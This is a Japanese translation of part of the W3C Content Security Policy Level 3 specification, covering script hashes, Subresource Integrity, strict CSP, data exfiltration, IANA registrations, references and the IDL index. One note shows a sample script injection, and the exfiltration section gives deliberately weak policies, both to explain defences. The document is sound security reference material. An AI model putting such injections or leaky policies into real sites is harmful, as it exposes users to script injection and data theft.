彼らはセキュリティを下げる'unsafe-inline'ではなく、'unsafe-hashes'doSubmit()対応のハッシュ式を利用することにしました:

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

'unsafe-hashes'の能力はレガシーサイト向けには有益ですが、最新サイトでは避けるべきです。特に、ハッシュで特定スクリプトの実行は許可できますが、開発者の意図通りに実行される保証はありません。重要な機能がインラインイベントハンドラで露出されている場合(例:<a onclick="transferAllMyMoney()">Transfer</a>)、攻撃者が<script>transferAllMyMoney()</script>としてインジェクト可能になります。開発者はリスクと利便性を慎重に判断してください。

8.4. ハッシュによる外部JavaScriptの許可

このセクションは規範的ではありません。

[CSP2]では、ハッシュsource expressionはインラインスクリプトだけに適用されましたが、Subresource Integrity [SRI]が広く普及した現在、外部JavaScriptにも適用できるようになりました。

複数セットのintegrityメタデータがscript要素に指定された場合、リクエストはポリシーのhash-sourceに一致する場合のみ(全てのintegrityメタデータが一致する場合のみ)許可されます。

注: CSP仕様では、インラインscript要素やイベントハンドラの内容はハッシュ計算前にUTF-8エンコードする必要があります。[SRI]はフェッチした生リソースにハッシュを計算します。したがって、インラインスクリプトと外部スクリプトが内容的に同一でも、許可に必要なハッシュ値が異なる場合があります。

MegaCorp, Inc.はページ上で2種の特定スクリプトのみを許可し、内容が期待通りであることを保証したいと考えました。次のようなポリシーを設定します:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

このポリシー下では、以下のscript要素は、integrityメタデータがポリシーに一致するので実行が許可されます:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

一方、以下のscript要素は、validなメタデータがポリシーと一致しない(他のメタデータは一致していても)ため実行されません:

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

認識されないメタデータ(完全に無効か、未サポートハッシュアルゴリズム指定)は、ここで説明する動作に影響しません。次の要素は追加メタデータが無効なので、明示的にポリシーに列挙されていないスクリプトの実行は許可されませんが、上記ポリシーで実行可能です:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. 厳格CSP

このセクションは規範的ではありません。

XSS対策として有効なCSPの導入は困難です( CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP]参照)。 しかし、以下のCSP指令セットはXSSに対して有効で実運用可能な対策であることが示されています。

  1. script-src: noncesource-expressionおよび/またはhashsource-expressionのみ利用し、"'strict-dynamic'"keyword-sourceを付与する。

    注: "'strict-dynamic'"は導入は容易ですが(§ 8.2 strict-dynamic利用)、可能なら避けるべきです。

    注: 後方互換性のため、https:scheme-sourceと"'strict-dynamic'"の併用を推奨します。

  2. base-uri: "'self'"または"'none'"の値を指定する。

上記基準を満たすCSPは「厳格CSP」と呼ばれます。詳細は[WEBDEV-STRICTCSP]参照。

以下は厳格CSPの例です:

Nonceベース厳格CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

ハッシュベース厳格CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. データ流出

このセクションは規範的ではありません。

リクエスト内容(URLなど)にユーザーやページ情報が含まれる場合、これが制限されずに共有されることでデータ流出が起こり得ます。

Content Security Policyは、ページが通信可能なサーバーの許可リストを作ることでデータ流出を防げます。default-src指令がないポリシーは流出防止にならない点に注意してください。より細かい指令(prefetchなど)では対応できないリクエストもあるためです。[HTML]

下記例では、画像・フォント・スクリプトへの厳しい制限があっても、他のリクエストタイプ(fetch()prefetchなど)でデータ流出が可能です:[HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

このポリシーにdefault-src 'none'を追加すれば、こうした攻撃への耐性が向上します。

次の例では、default-src指令が流出防止になっているように見えるものの、img-src指令がワイルドカードで制限を緩和しており、任意エンドポイントへの流出が許可されます。ポリシーの流出防止能力は最も制限の緩い指令の許可リストに依存します:
Content-Security-Policy: default-src 'none'; img-src *

9. 実装に関する考慮事項

9.1. ベンダー独自拡張とアドオン

ポリシーがリソースに強制される場合、アドオン、拡張機能、ブックマークレットなどユーザーエージェント機能の動作を妨げるべきではありません(SHOULD NOT)。こうした機能は一般にページ作者よりユーザープライオリティが高いと考えられます([HTML-DESIGN]参照)。

さらに、これらの機能にCSPを適用すると違反レポートに大量のノイズが発生し、開発者にとって価値が大きく減少します。

Chromeでは例えば、chrome-extension:スキームをCSPチェックから除外し、拡張機能によるインジェクションはページのポリシーによらず許可されるようになっています。

10. IANAに関する考慮事項

10.1. 指令レジストリ

Content Security Policy指令レジストリは、以下の指令と参照で更新すべきです([RFC7762]参照):

base-uri

本書(§ 6.3.1 base-uri参照)

child-src

本書(§ 6.1.1 child-src参照)

connect-src

本書(§ 6.1.2 connect-src参照)

default-src

本書(§ 6.1.3 default-src参照)

font-src

本書(§ 6.1.4 font-src参照)

form-action

本書(§ 6.4.1 form-action参照)

frame-ancestors

本書(§ 6.4.2 frame-ancestors参照)

frame-src

本書(§ 6.1.5 frame-src参照)

img-src

本書(§ 6.1.6 img-src参照)

manifest-src

本書(§ 6.1.7 manifest-src参照)

media-src

本書(§ 6.1.8 media-src参照)

object-src

本書(§ 6.1.9 object-src参照)

report-uri

本書(§ 6.5.1 report-uri参照)

report-to

本書(§ 6.5.2 report-to参照)

sandbox

本書(§ 6.3.2 sandbox参照)

script-src

本書(§ 6.1.10 script-src参照)

script-src-attr

本書(§ 6.1.12 script-src-attr参照)

script-src-elem

本書(§ 6.1.11 script-src-elem参照)

style-src

本書(§ 6.1.13 style-src参照)

style-src-attr

本書(§ 6.1.15 style-src-attr参照)

style-src-elem

本書(§ 6.1.14 style-src-elem参照)

worker-src

本書(§ 6.2.2 worker-src参照)

10.2. ヘッダー

パーマネントメッセージヘッダーフィールドレジストリは、以下の登録で更新すべきです:[RFC3864]

10.2.1. Content-Security-Policy

ヘッダーフィールド名
Content-Security-Policy
適用プロトコル
http
ステータス
standard
著者/変更管理者
W3C
仕様文書
本仕様書(§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールド参照)

10.2.2. Content-Security-Policy-Report-Only

ヘッダーフィールド名
Content-Security-Policy-Report-Only
適用プロトコル
http
ステータス
standard
著者/変更管理者
W3C
仕様文書
本仕様書(§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド参照)

11. 謝辞

多くの方々に感謝します。例えば:

  • MarioとCure53の皆さん。

  • Artur Janc、Michele Spagnuolo、Lukas Weichselbaum、Jochen Eisinger、そしてGoogleのCSP Cabalの皆さん。

適合性

文書の規約

適合性要件は、記述的な断定とRFC 2119の用語の組み合わせによって表現されます。 規範的部分における主要語句「MUST」「MUST NOT」「REQUIRED」「SHALL」「SHALL NOT」「SHOULD」「SHOULD NOT」「RECOMMENDED」「MAY」「OPTIONAL」はRFC 2119で説明された通りに解釈されます。 ただし、読みやすさのため、本仕様ではこれらの語句はすべて大文字では表記されません。

この仕様の本文は、明示的に非規範的、例、注として記載されている部分以外はすべて規範的です。[RFC2119]

この仕様における例は「例えば」で導入されるか、class="example"で規範的テキストから分離して提示されます。

これは参考例の一例です。

参考注は「注」で始まり、class="note"で規範的テキストから分離されます。

注:これは参考注です。

適合するアルゴリズム

アルゴリズム内で命令形で記述された要件(例:「先頭の空白文字を取り除く」「falseを返してこれらの手順を中止する」など)は、アルゴリズムの導入時に使われた主要語句("must"、"should"、"may"など)の意味で解釈されます。

アルゴリズムや特定の手順として表現された適合性要件は、最終的な結果が同等である限り、どのような方法で実装してもかまいません。 特に、この仕様で定義されたアルゴリズムは理解しやすいことを目的としており、性能重視ではありません。 実装者は最適化を推奨します。

索引

本仕様で定義された用語

参照によって定義される用語

参考文献

規範的参考文献

[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS カスケードと継承 レベル5. 2022年1月13日. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez. CSSオブジェクトモデル (CSSOM). 2021年8月26日. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM標準. 現行標準. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® 言語 仕様. URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren. エンコーディング標準. 現行標準. URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren. Fetch標準. 現行標準. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; 他. HTML標準. 現行標準. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra 標準. 現行標準. URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Grigorik; Mike West. Reporting API. URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West. Reporting API. 2025年6月11日. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner. RFCにおける要件レベルを示すキーワード. 1997年3月. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello. Punycode: 国際化ドメイン名アプリケーションのためのUnicodeのBootstringエンコーディング (IDNA). 2003年3月. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. メッセージヘッダーフィールドの登録手順. 2004年9月. Best Current Practice. URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): 一般構文. 2005年1月. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
S. Josefsson. Base16, Base32, および Base64 データエンコード. 2006年10月. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. 構文仕様のための拡張BNF: ABNF. 2008年1月. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
M. West. Content Security Policy指令レジストリの初期割り当て. 2016年1月. Informational. URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
M. Nottingham. Web Linking. 2017年10月. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. HTTPセマンティクス. 2022年6月. Internet Standard. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Yoshisato Yanagisawa; Monica CHINTALA. Service Workers. 2025年3月6日. CRD. URL: https://www.w3.org/TR/service-workers/
[SRI]
Devdatta Akhawe; 他. Subresource Integrity. 2016年6月23日. REC. URL: https://www.w3.org/TR/SRI/
[SRI-2]
Frederik Braun. Subresource Integrity. 2025年7月6日. WD. URL: https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
Krzysztof Kotowicz. Trusted Types. 2025年7月3日. WD. URL: https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren. URL標準. 現行標準. URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu. Web IDL標準. 現行標準. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings; 他. WebRTC: ブラウザにおけるリアルタイムコミュニケーション. 2025年3月13日. REC. URL: https://www.w3.org/TR/webrtc/

参考情報

[APPMANIFEST]
Marcos Caceres; 他. Web Application Manifest. 2025年5月5日. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; Alois Reitbauer. Beacon. 2022年8月3日. CRD. URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 2016年12月15日. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans. 汎用クロスブラウザクロスドメイン窃盗. 2009年12月28日. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson. サーバー送信イベント. 2021年1月28日. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor. CSP 2015. 2015年11月23日. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich. H5SC Minichallenge 3: "Sh*t, it's CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML デザイン原則. URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum; 他. CSPは死んだ、CSP万歳!ホワイトリストの脆弱性とContent Security Policyの未来. 2016年10月24日. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark; Mike West; Carlos IbarraLopez. 混在コンテンツ. 2023年2月23日. CRD. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. ピクセルパーフェクトタイミング攻撃. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill. ユーザーインターフェースセキュリティとVisibility API. 2016年6月7日. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West. 不安全なリクエストのアップグレード. 2015年10月8日. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum. 厳格Content Security Policy (CSP) によるクロスサイトスクリプティング (XSS) の緩和. 2021年3月15日. URL: https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice. WebSockets標準. 現行標準. URL: https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren. XMLHttpRequest標準. 現行標準. URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark. XSL変換 (XSLT) バージョン 1.0. 1999年11月16日. REC. URL: https://www.w3.org/TR/xslt-10/

IDL索引

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

課題索引

この種の仕様はどこかにありますか?[ECMA262]では役立ちそうなものが見当たりませんでした。
ステータスコードは具体的にどうやって取得しますか?実際にはどこにも保存していません。
スタイルシートのロードはWHATWGのHTMLにおいてまだFetchと統合されていません。[whatwg/html Issue #968]
これについて、より良い説明が必要です。[w3c/webappsec-csp Issue #212]
実行コンテキストに対して何らかの興味深い処理を行い、CSSOMアルゴリズムをロックダウンする必要があります。CSSOMにはフックがないようなので、何か妥当なものを一緒に検討しましょう。
ここでこのエラーを利用する場合、HTMLに何らかの記録用フックが必要です。[whatwg/html Issue #3257]
この処理は、既存要素からnonceを盗んでインジェクトスクリプトをロードするdangling markup攻撃のリスクを軽減するためのものです。ただし、すべての属性とその値を走査しなければならず、負荷が高いです。ここではnonceがあるscript要素だけでチェックすることで影響を最小化していますが、その影響が分かるまではこのアルゴリズムを「at risk」と考えるべきかもしれません。[w3c/webappsec-csp Issue #98]
動的に挿入されたインラインスクリプトに対して'strict-dynamic'を扱う必要があります。[w3c/webappsec-csp Issue #426]
現状、HTML仕様のパースアルゴリズムは、§ 6.7.3.1 要素はnonce可能か?アルゴリズム実行前にこの情報を削除してしまうため、実際に重複属性を検出できません。[whatwg/html Issue #3257]